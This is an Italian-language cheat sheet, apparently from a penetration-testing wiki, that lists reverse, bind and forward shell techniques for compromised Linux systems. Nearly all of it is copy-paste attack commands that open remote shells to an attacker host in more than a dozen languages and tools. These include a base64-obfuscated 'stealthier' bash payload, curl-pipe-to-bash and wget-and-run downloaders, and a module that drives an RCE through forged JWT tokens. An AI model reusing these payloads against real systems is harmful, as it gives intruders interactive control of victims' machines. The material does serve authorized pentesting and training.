# Shells - Linux

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***

**Se hai domande su una di queste shell puoi controllarle con** [**https://explainshell.com/**](https://explainshell.com)

## Full TTY

**Una volta ottenuta una reverse shell**[ **leggi questa pagina per ottenere un full TTY**](full-ttys.md)**.**

## Bash | sh
```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
```
Non dimenticare di controllare con altre shell: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh e bash.

### Shell sicura per i simboli
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
#### Spiegazione della shell

1. **`bash -i`**: Questa parte del comando avvia una shell Bash interattiva (`-i`).
2. **`>&`**: Questa parte del comando è una notazione abbreviata per **reindirizzare sia l'output standard** (`stdout`) che **l'errore standard** (`stderr`) verso la **stessa destinazione**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Questo è un file speciale che **rappresenta una connessione TCP all'indirizzo IP e alla porta specificati**.
* Reindirizzando **i flussi di output e di errore a questo file**, il comando invia effettivamente l'output della sessione della shell interattiva alla macchina dell'attaccante.
4. **`0>&1`**: Questa parte del comando **reindirizza l'input standard (`stdin`) alla stessa destinazione dell'output standard (`stdout`)**.

### Crea in file ed esegui
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## Forward Shell

Quando si tratta di una vulnerabilità di **Remote Code Execution (RCE)** all'interno di un'applicazione web basata su Linux, ottenere una reverse shell potrebbe essere ostacolato da difese di rete come le regole iptables o meccanismi complessi di filtraggio dei pacchetti. In tali ambienti ristretti, un approccio alternativo prevede l'istituzione di una shell PTY (Pseudo Terminal) per interagire con il sistema compromesso in modo più efficace.

Uno strumento consigliato per questo scopo è [toboggan](https://github.com/n3rada/toboggan.git), che semplifica l'interazione con l'ambiente target.

Per utilizzare toboggan in modo efficace, crea un modulo Python adattato al contesto RCE del tuo sistema target. Ad esempio, un modulo chiamato `nix.py` potrebbe essere strutturato come segue:
```python3
import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text
```
E poi, puoi eseguire:
```shell
toboggan -m nix.py -i
```
Per sfruttare direttamente una shell interattiva. Puoi aggiungere `-b` per l'integrazione con Burpsuite e rimuovere il `-i` per un wrapper rce più basilare.

Un'altra possibilità consiste nell'utilizzare l'implementazione della shell forward di `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).

Devi solo modificare:

* L'URL dell'host vulnerabile
* Il prefisso e il suffisso del tuo payload (se presente)
* Il modo in cui il payload viene inviato (header? dati? informazioni extra?)

Poi, puoi semplicemente **inviare comandi** o persino **usare il comando `upgrade`** per ottenere un PTY completo (nota che i pipe vengono letti e scritti con un ritardo approssimativo di 1,3 secondi).

## Netcat
```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## gsocket

Controllalo su [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## Whois

**Attaccante**
```bash
while true; do nc -l <port>; done
```
Per inviare il comando scrivilo, premi invio e premi CTRL+D (per fermare STDIN)

**Vittima**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Python
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
## Perl
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```
## Java
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
## Ncat
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
## Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
## OpenSSL

L'Attaccante (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
La Vittima
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## **Socat**

[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)

### Shell di binding
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### Reverse shell
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Finger

**Attaccante**
```bash
while true; do nc -l 79; done
```
Per inviare il comando scrivilo, premi invio e premi CTRL+D (per fermare STDIN)

**Vittima**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
```bash
#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
## Xterm

Questo tenterà di connettersi al tuo sistema sulla porta 6001:
```bash
xterm -display 10.0.0.1:1
```
Per catturare la reverse shell puoi usare (che ascolterà sulla porta 6001):
```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```
## Groovy

di [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: La reverse shell Java funziona anche per Groovy
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## Riferimenti

* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

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